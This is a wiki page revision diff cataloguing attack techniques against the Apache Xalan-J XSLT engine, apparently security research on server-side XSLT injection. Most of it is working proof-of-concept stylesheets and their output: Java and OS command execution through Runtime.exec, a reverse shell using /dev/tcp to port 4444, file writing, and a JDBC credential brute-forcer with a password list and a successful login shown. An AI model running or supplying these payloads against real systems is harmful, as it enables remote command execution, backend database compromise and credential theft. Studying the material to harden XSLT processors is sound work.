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Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 38.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:28
Change comment: There is no comment for this version
To version Icon 69.1 Icon
edited by Nicolas Gregoire
on 2012/01/14 17:46
Change comment: There is no comment for this version

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Icon Page properties
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1 -[[Xalan-J>>http://xml.apache.org/xalan-j/||rel="__blank" title="Xalan-J Home Page"]] is a Java based XSLT engine by the Apache Project.
1 +{{toc/}}
2 2  
3 += Introduction =
3 3  
4 -== Supported version ==
5 +[[Xalan-J>>http://xml.apache.org/xalan-j/||rel="__blank" title="Xalan-J Home Page"]] is a Java based XSLT engine by the Apache Project.
5 5  
7 += Supported version =
8 +
6 6  1.0
7 7  
8 -== Command line ==
11 += Command line =
9 9  
10 10  $> java org.apache.xalan.xslt.Process -in foo.xml -xsl foo.xsl
11 11  
12 12  __Note__ : xml-apis.jar, xercesImpl.jar and xalan*.jar must be in the $CLASSPATH
13 13  
14 -== Identification strings ==
17 += Identification strings =
15 15  
16 16  |=xsl:vendor-url|http:~/~/xml.apache.org/xalan-j
17 17  |=xsl:vendor|Apache Software Foundation
18 18  |=xsl:version|1.0
19 19  
20 -== Special features ==
23 += Special features =
21 21  
22 22  * Java properties disclosure
23 23  * Java environment disclosure
24 24  * Java code execution
25 -* Arbitrary command execution
28 +* OS command execution
26 26  * File creation
27 27  * JDBC connectivity
28 28  
29 -== Java properties disclosure ==
32 += Java properties disclosure =
30 30  
31 31  The xsl:system-property() standard function can be called with non standard arguments, mapped to Java properties. In this example, the name of the Java properties is stored in a separate XML file ([[properties.xml>>attach:properties.xml]]). The XSLT code will, for each property, display its name and its value.
32 32  
... ... @@ -33,37 +33,79 @@
33 33  |=Namespace|=Function|=PoC|=Sample output
34 34  |http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]]
35 35  
39 += Java environment disclosure =
36 36  
37 -== Java environment disclosure ==
41 +The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (including available packages, paths, versions, ...).
38 38  
39 -The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (packages, paths, versions, ...).
40 -
41 41  |=Namespace|=Extension function|=PoC|=Sample output
42 42  |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]]
43 43  
44 -== Java code execution ==
46 += Java code execution =
45 45  
46 46  The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution.
47 47  
48 -
49 49  |=Namespace|=Extension function|=PoC|=Sample output
50 50  |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
51 51  Wed Jan 11 22:45:07 CET 2012
52 52  
53 -== Execution of external commands ==
54 += OS command execution =
54 54  
55 -The following code will execute the command "touch /tmp/hello" :
56 +Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class.
56 56  
57 -<?xml version="1.0"?>
58 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
59 - xmlns:j="http:~/~/xml.apache.org/xalan/java"
60 - exclude-result-prefixes="j"
61 - version="1.0">
62 - <xsl:template match="/">
63 - <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
64 - <xsl:variable name="a" select="j:split($c, ' = ')"/>
65 - <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
66 - <xsl:variable name="p" select="j:exec($r, $a )"/>
67 - No content at the moment ...
68 - </xsl:template>
69 -</xsl:stylesheet>
58 +== Command without output ==
59 +
60 +The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
61 +
62 +|=Namespace|=Extension functions|=PoC
63 +|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
64 +
65 +__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
66 +
67 +== Reading stdout ==
68 +
69 +As the output have an unknown number of lines, we must use a __loop__ construct like "while" ... which is not available in XSLT. This limitation is due to the functional programming paradigm but can be circumvented using templates and recursion. This way, we can also __update__ some variables, but the syntax is awful and error prone.
70 +
71 +It's far more efficient to 1) write loops using non-standard elements like <loop:while> and <loop:update> 2) convert them in stylesheets using only templates and recursion. This conversion can be done with a tool like the [[XSLT Loop Compiler>>http://www2.informatik.hu-berlin.de/~~obecker/XSLT/loop-compiler/||rel="__blank"]] (which is itself in XSLT).
72 +
73 +The following PoC will fetch some commands from a XML file, execute them (with bash or cmd.exe depending on the detected OS), read the standard output and display it. The file with a "lxsl" extension uses the non-standard <loop:*> elements and is far more readable than the "xsl" one.
74 +
75 +|=Using non standards elements|=Using recursion and templates|=Commands to execute|=Output
76 +|[[xalanj-reading-stdout.lxsl>>attach:xalanj-reading-stdout.lxsl]]|[[xalanj-reading-stdout.xsl>>attach:xalanj-reading-stdout.xsl]]|[[unix_commands.xml>>attach:unix_commands.xml]]|[[xalanj-reading-stdout.txt>>attach:xalanj-reading-stdout.txt]]
77 +
78 +It is of course possible to include commands for multiples OS in one file and to execute only the relevant ones.
79 +
80 +== A pure Java reverse-shell ==
81 +
82 +It is afaik not possible to get a pure Java reverse-shell, as we can't create threads :-(
83 +
84 += File creation =
85 +
86 +The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
87 +
88 +|=Namespace|=Extension element|=Parameter|=PoC
89 +|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]
90 +
91 += JDBC connectivity =
92 +
93 +It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver.
94 +
95 +== Simple connection ==
96 +
97 +The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result.
98 +
99 +|=Namespace|=Extension function|=PoC
100 +|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]]
101 +
102 +== Credentials brute-forcing ==
103 +
104 +The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
105 +
106 +
107 +Here's the output when launched from the CLI :
108 +
109 +##$> java org.apache.xalan.xslt.Process -in xalanj-jdbc-bruteforce.xml -xsl xalanj-jdbc-bruteforce.xsl 2> /dev/null
110 +Username : [root] / Password : [] :
111 +Username : [root] / Password : [uberpasswd] :
112 +Username : [root] / Password : [cnam] : OK !!
113 +Username : [pma] / Password : [pma] : ##
114 +
Icon unixcommands.xml
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1 +<data>
2 +<command>id</command>
3 +<command>date</command>
4 +<command>ifconfig lo</command>
5 +<command>tree /var/cache/apt</command>
6 +<command>uname -a</command>
7 +</data>
8 +
Icon xalanj-java-date.xsl
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1 +<xsl:stylesheet version="1.0"
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
4 + exclude-result-prefixes="date">
5 + <xsl:output method="text"/>
6 + <xsl:template match="/">
7 + <xsl:variable name="dateObject" select="date:new()"/>
8 + <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
9 + </xsl:template>
10 +</xsl:stylesheet>
11 +
Icon xalanj-jdbc-bruteforce.xml
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1 +<data>
2 + <foobar>
3 + <DBINFO>
4 + <dbdriver>com.mysql.jdbc.Driver</dbdriver>
5 + <dburl>jdbc:mysql://localhost/</dburl>
6 + <user>root</user>
7 + <password></password>
8 + </DBINFO>
9 + </foobar>
10 + <foobar>
11 + <DBINFO>
12 + <dbdriver>com.mysql.jdbc.Driver</dbdriver>
13 + <dburl>jdbc:mysql://localhost/</dburl>
14 + <user>root</user>
15 + <password>uberpasswd</password>
16 + </DBINFO>
17 + </foobar>
18 + <foobar>
19 + <DBINFO>
20 + <dbdriver>com.mysql.jdbc.Driver</dbdriver>
21 + <dburl>jdbc:mysql://localhost/</dburl>
22 + <user>root</user>
23 + <password>cnam</password>
24 + </DBINFO>
25 + </foobar>
26 + <foobar>
27 + <DBINFO>
28 + <dbdriver>com.mysql.jdbc.Driver</dbdriver>
29 + <dburl>jdbc:mysql://localhost/</dburl>
30 + <user>pma</user>
31 + <password>pma</password>
32 + </DBINFO>
33 + </foobar>
34 +</data>
35 +
Icon xalanj-jdbc-bruteforce.xsl
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1 +<?xml version="1.0"?>
2 +
3 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
4 + version="1.0"
5 + xmlns:sql="org.apache.xalan.lib.sql.XConnection"
6 + extension-element-prefixes="sql">
7 +
8 +<xsl:output method="text" indent="yes"/>
9 +<xsl:variable name="query">SELECT "OK !!"</xsl:variable>
10 +
11 +<xsl:template match="//data">
12 + <xsl:for-each select="foobar">
13 +
14 + <xsl:variable name="cinfo" select="DBINFO"/>
15 + <xsl:variable name="user" select="DBINFO/user/text()"/>
16 + <xsl:variable name="passwd" select="DBINFO/password/text()"/>
17 +
18 + <xsl:variable name="db" select="sql:new($cinfo)"/>
19 + <xsl:variable name="data" select='sql:query($db, $query)'/>
20 +
21 + <xsl:copy-of select="concat('Username : [', $user, '] / ')" />
22 + <xsl:copy-of select="concat('Password : [', $passwd, '] : ')" />
23 + <xsl:copy-of select="$data" /><xsl:copy-of select="'&#x0A;'" />
24 +
25 + </xsl:for-each>
26 +</xsl:template>
27 +
28 +</xsl:stylesheet>
29 +
Icon xalanj-jdbc-query.xsl
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1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 + xmlns:sql="org.apache.xalan.lib.sql.XConnection"
3 + extension-element-prefixes="sql"
4 + version="1.0">
5 +
6 +<xsl:output method="xml" indent="yes"/>
7 +
8 +<xsl:param name="driver" select="'com.mysql.jdbc.Driver'"/>
9 +<xsl:param name="dburl" select="'jdbc:mysql://localhost/test_db'"/>
10 +<xsl:param name="user" select="'root'"/>
11 +<xsl:param name="pass" select="'14m31337'"/>
12 +<xsl:param name="query" select="'SELECT uid,username,passwd FROM users'"/>
13 +
14 +<xsl:template match="/">
15 + <xsl:variable name="dbh" select="sql:new($driver, $dburl, $user, $pass)"/>
16 + <xsl:variable name="table" select='sql:query($dbh, $query)'/>
17 + <xsl:copy-of select="$table" />
18 + <xsl:value-of select="sql:close($db)"/>
19 +</xsl:template>
20 +
21 +</xsl:stylesheet>
22 +
Icon xalanj-reading-stdout.lxsl
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1 +<?xml version="1.0"?>
2 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:j="http://xml.apache.org/xalan/java"
4 + xmlns:bufferedreader="xalan://java.io.BufferedReader"
5 + xmlns:inputstreamreader="xalan://java.io.InputStreamReader"
6 + xmlns:process="xalan://java.lang.Process"
7 + xmlns:runtime="xalan://java.lang.Runtime"
8 + xmlns:loop="http://informatik.hu-berlin.de/loop"
9 + exclude-result-prefixes="j"
10 + version="1.0">
11 +
12 + <!-- Configure the output -->
13 + <xsl:output method="text" />
14 + <xsl:strip-space elements="*" />
15 +
16 + <!-- Some variables -->
17 + <xsl:variable name="rt" select="runtime:getRuntime()"/>
18 + <xsl:variable name="os" select="j:java.lang.System.getProperty('os.name')"/>
19 + <xsl:variable name="unix_shell" select="'/bin/bash'"/>
20 + <xsl:variable name="unix_option" select="'-c'"/>
21 + <xsl:variable name="win_shell" select="'cmd.exe'"/>
22 + <xsl:variable name="win_option" select="'/C'"/>
23 + <xsl:variable name="delim" select="' -=DELIM=- '"/>
24 +
25 + <!-- The main template -->
26 + <xsl:template match="//command">
27 +
28 + <!-- Fetch from the XML file -->
29 + <xsl:variable name="command" select="text()"/>
30 +
31 + <!-- Check the underlying OS -->
32 + <xsl:variable name="tmp">
33 + <xsl:choose>
34 + <xsl:when test="contains($os, 'indows')">
35 + <xsl:value-of select="concat($win_shell, $delim, $win_option, $delim, $command)"/>
36 + </xsl:when>
37 + <xsl:otherwise>
38 + <xsl:value-of select="concat($unix_shell, $delim, $unix_option, $delim, $command)"/>
39 + </xsl:otherwise>
40 + </xsl:choose>
41 + </xsl:variable>
42 + <xsl:variable name="cmd" select="j:java.lang.String.new($tmp)"/>
43 +
44 + <!-- Create the process and its streams -->
45 + <xsl:variable name="array" select="j:split($cmd, $delim)"/>
46 + <xsl:variable name="proc" select="runtime:exec($rt, $array)"/>
47 + <xsl:variable name="inputstream" select="process:getInputStream($proc)"/>
48 + <xsl:variable name="inputstreamreader" select="inputstreamreader:new($inputstream)"/>
49 + <xsl:variable name="bufferedreader" select="bufferedreader:new($inputstreamreader)"/>
50 +
51 + <!-- Print the detected OS -->
52 + <xsl:text>OS [</xsl:text>
53 + <xsl:value-of select="$os"/>
54 + <xsl:text>] ...&#xA;</xsl:text>
55 +
56 + <!-- Print the executed command -->
57 + <xsl:text>Executing [</xsl:text>
58 + <xsl:value-of select="$command"/>
59 + <xsl:text>] ...&#xA;</xsl:text>
60 +
61 + <!-- Prepare the loop -->
62 + <xsl:variable name="cond" select="1" />
63 + <xsl:variable name="result" select="N/A" />
64 + <loop:while test="$cond">
65 +
66 + <!-- Read a line -->
67 + <loop:do>
68 + <xsl:variable name="line" select="bufferedreader:readLine($bufferedreader)"/>
69 + <xsl:variable name="class" select="j:toString(j:getClass($line))"/>
70 + <xsl:variable name="continue" select="j:equals($class, 'class java.lang.String')"/>
71 + <!-- Debug code
72 + <xsl:text>Line: </xsl:text><xsl:value-of select="$line"/> <xsl:text>&#xA;</xsl:text>
73 + <xsl:text>Loop : </xsl:text><xsl:value-of select="$continue"/> <xsl:text>&#xA;</xsl:text>
74 + -->
75 + </loop:do>
76 +
77 + <!-- Print the result -->
78 + <loop:last>
79 + <!-- Debug code
80 + <xsl:text>Result:</xsl:text>
81 + <xsl:text>&#xA;</xsl:text>
82 + -->
83 + <xsl:value-of select="$result"/>
84 + </loop:last>
85 +
86 + <!-- Update the global variables -->
87 + <loop:update name="cond" select="$continue"/>
88 + <loop:update name="result" select="concat($result, $line, '&#x0A;')"/>
89 +
90 + </loop:while>
91 + </xsl:template>
92 +</xsl:stylesheet>
93 +
Icon xalanj-reading-stdout.txt
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1 +OS [Linux] ...
2 +Executing [id] ...
3 +uid=1000(nic0b) gid=1000(nic0b) groupes=20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(nic0b)
4 +
5 +OS [Linux] ...
6 +Executing [date] ...
7 +jeudi 12 janvier 2012, 22:58:55 (UTC+0100)
8 +
9 +OS [Linux] ...
10 +Executing [ifconfig lo] ...
11 +lo Link encap:Boucle locale
12 + inet adr:127.0.0.1 Masque:255.0.0.0
13 + adr inet6: ::1/128 Scope:Hôte
14 + UP LOOPBACK RUNNING MTU:16436 Metric:1
15 + Packets reçus:7830 erreurs:0 :0 overruns:0 frame:0
16 + TX packets:7830 errors:0 dropped:0 overruns:0 carrier:0
17 + collisions:0 lg file transmission:0
18 + Octets reçus:1543564 (1.5 MB) Octets transmis:1543564 (1.5 MB)
19 +
20 +
21 +OS [Linux] ...
22 +Executing [tree /var/cache/apt] ...
23 +/var/cache/apt
24 +|-- apt-file
25 +| |-- fr.archive.ubuntu.com_ubuntu_dists_lucid_Contents-i386.gz
26 +| |-- fr.archive.ubuntu.com_ubuntu_dists_lucid-updates_Contents-i386.gz
27 +| `-- security.ubuntu.com_ubuntu_dists_lucid-security_Contents-i386.gz
28 +|-- archives
29 +| |-- lock
30 +| `-- partial
31 +|-- pkgcache.bin
32 +`-- srcpkgcache.bin
33 +
34 +3 directories, 6 files
35 +
36 +OS [Linux] ...
37 +Executing [uname -a] ...
38 +Linux testbox4 2.6.32-37-generic #81-Ubuntu SMP Fri Dec 2 20:35:14 UTC 2011 i686 GNU/Linux
39 +
40 +
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1 +<?xml version="1.0" encoding="iso-8859-1"?>
2 +<!--
3 +
4 + File generated by translating loops into recursive template calls.
5 + XSLT Loop Compiler, Version 1.0
6 + GPL (c) O. Becker
7 +
8 + -->
9 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:j="http://xml.apache.org/xalan/java" xmlns:bufferedreader="xalan://java.io.BufferedReader" xmlns:inputstreamreader="xalan://java.io.InputStreamReader" xmlns:process="xalan://java.lang.Process" xmlns:runtime="xalan://java.lang.Runtime" xmlns:loop="http://informatik.hu-berlin.de/loop" exclude-result-prefixes="j" version="1.0">
10 +
11 + <!-- Configure the output -->
12 + <xsl:output method="text"/>
13 + <xsl:strip-space elements="*"/>
14 +
15 + <!-- Some variables -->
16 + <xsl:variable name="rt" select="runtime:getRuntime()"/>
17 + <xsl:variable name="os" select="j:java.lang.System.getProperty('os.name')"/>
18 + <xsl:variable name="unix_shell" select="'/bin/bash'"/>
19 + <xsl:variable name="unix_option" select="'-c'"/>
20 + <xsl:variable name="win_shell" select="'cmd.exe'"/>
21 + <xsl:variable name="win_option" select="'/C'"/>
22 + <xsl:variable name="delim" select="' -=DELIM=- '"/>
23 +
24 + <!-- The main template -->
25 + <xsl:template match="//command">
26 +
27 + <!-- Fetch from the XML file -->
28 + <xsl:variable name="command" select="text()"/>
29 +
30 + <!-- Check the underlying OS -->
31 + <xsl:variable name="tmp">
32 + <xsl:choose>
33 + <xsl:when test="contains($os, 'indows')">
34 + <xsl:value-of select="concat($win_shell, $delim, $win_option, $delim, $command)"/>
35 + </xsl:when>
36 + <xsl:otherwise>
37 + <xsl:value-of select="concat($unix_shell, $delim, $unix_option, $delim, $command)"/>
38 + </xsl:otherwise>
39 + </xsl:choose>
40 + </xsl:variable>
41 + <xsl:variable name="cmd" select="j:java.lang.String.new($tmp)"/>
42 +
43 + <!-- Create the process and its streams -->
44 + <xsl:variable name="array" select="j:split($cmd, $delim)"/>
45 + <xsl:variable name="proc" select="runtime:exec($rt, $array)"/>
46 + <xsl:variable name="inputstream" select="process:getInputStream($proc)"/>
47 + <xsl:variable name="inputstreamreader" select="inputstreamreader:new($inputstream)"/>
48 + <xsl:variable name="bufferedreader" select="bufferedreader:new($inputstreamreader)"/>
49 +
50 + <!-- Print the detected OS -->
51 + <xsl:text>OS [</xsl:text>
52 + <xsl:value-of select="$os"/>
53 + <xsl:text>] ...
54 +</xsl:text>
55 +
56 + <!-- Print the executed command -->
57 + <xsl:text>Executing [</xsl:text>
58 + <xsl:value-of select="$command"/>
59 + <xsl:text>] ...
60 +</xsl:text>
61 +
62 + <!-- Prepare the loop -->
63 + <xsl:variable name="cond" select="1"/>
64 + <xsl:variable name="result" select="N/A"/>
65 + <axslt:call-template xmlns:axslt="http://www.w3.org/1999/XSL/Transform" name="while-loop-id2496582"><axslt:with-param name="command" select="$command"/><axslt:with-param name="tmp" select="$tmp"/><axslt:with-param name="cmd" select="$cmd"/><axslt:with-param name="array" select="$array"/><axslt:with-param name="proc" select="$proc"/><axslt:with-param name="inputstream" select="$inputstream"/><axslt:with-param name="inputstreamreader" select="$inputstreamreader"/><axslt:with-param name="bufferedreader" select="$bufferedreader"/><axslt:with-param name="cond" select="$cond"/><axslt:with-param name="result" select="$result"/></axslt:call-template>
66 + </xsl:template>
67 +<axslt:template xmlns:axslt="http://www.w3.org/1999/XSL/Transform" name="while-loop-id2496582"><axslt:param name="command"/><axslt:param name="tmp"/><axslt:param name="cmd"/><axslt:param name="array"/><axslt:param name="proc"/><axslt:param name="inputstream"/><axslt:param name="inputstreamreader"/><axslt:param name="bufferedreader"/><axslt:param name="cond"/><axslt:param name="result"/><axslt:choose><axslt:when test="$cond">
68 + <xsl:variable name="line" select="bufferedreader:readLine($bufferedreader)"/>
69 + <xsl:variable name="class" select="j:toString(j:getClass($line))"/>
70 + <xsl:variable name="continue" select="j:equals($class, 'class java.lang.String')"/>
71 + <!-- Debug code
72 + <xsl:text>Line: </xsl:text><xsl:value-of select="$line"/> <xsl:text>&#xA;</xsl:text>
73 + <xsl:text>Loop : </xsl:text><xsl:value-of select="$continue"/> <xsl:text>&#xA;</xsl:text>
74 + -->
75 + <axslt:call-template name="while-loop-id2496582"><axslt:with-param name="command" select="$command"/><axslt:with-param name="tmp" select="$tmp"/><axslt:with-param name="cmd" select="$cmd"/><axslt:with-param name="array" select="$array"/><axslt:with-param name="proc" select="$proc"/><axslt:with-param name="inputstream" select="$inputstream"/><axslt:with-param name="inputstreamreader" select="$inputstreamreader"/><axslt:with-param name="bufferedreader" select="$bufferedreader"/><axslt:with-param name="cond" select="$continue"/><axslt:with-param name="result" select="concat($result, $line, '&#10;')"/></axslt:call-template></axslt:when><axslt:otherwise>
76 + <!-- Debug code
77 + <xsl:text>Result:</xsl:text>
78 + <xsl:text>&#xA;</xsl:text>
79 + -->
80 + <xsl:value-of select="$result"/>
81 + </axslt:otherwise></axslt:choose></axslt:template></xsl:stylesheet>
82 +
Icon xalanj-reverse-bash.xsl
Author
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1 +xwiki:XWiki.NicolasGregoire
Size
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1 +1002 bytes
Content
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1 +<xsl:stylesheet
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:jv="http://xml.apache.org/xalan/java"
4 + exclude-result-prefixes="jv"
5 + version="1.0">
6 +
7 + <xsl:template match="/">
8 +
9 + <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable>
10 + <xsl:variable name="a" select="jv:split($test, ' ==== ')"/>
11 + <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/>
12 + <xsl:variable name="process" select="jv:exec($rtobject, $a )"/>
13 +
14 +Objet "String" :
15 + <xsl:value-of select="$test"/>
16 +
17 +Objet "Array" :
18 + <xsl:variable name="aAsString" select="jv:toString($a)"/>
19 + <xsl:value-of select="$aAsString"/>
20 +
21 +Objet "Runtime" :
22 + <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/>
23 + <xsl:value-of select="$rtobjectAsString"/>
24 +
25 +Objet "Process" :
26 + <xsl:variable name="processAsString" select="jv:toString($process)"/>
27 + <xsl:value-of select="$processAsString"/>
28 +
29 + </xsl:template>
30 +</xsl:stylesheet>
31 +
Icon xalanj-write.xsl
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
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1 +373 bytes
Content
... ... @@ -1,0 +1,13 @@
1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 + xmlns:redir="http://xml.apache.org/xalan/redirect"
3 + extension-element-prefixes="redir"
4 + version='1.0'>
5 +
6 + <xsl:template match="/">
7 + <redir:write file="/tmp/created_by_xalanj_write" method="text">
8 + <xsl:text>Just a PoC</xsl:text>
9 + </redir:write>
10 + </xsl:template>
11 +
12 +</xsl:stylesheet>
13 +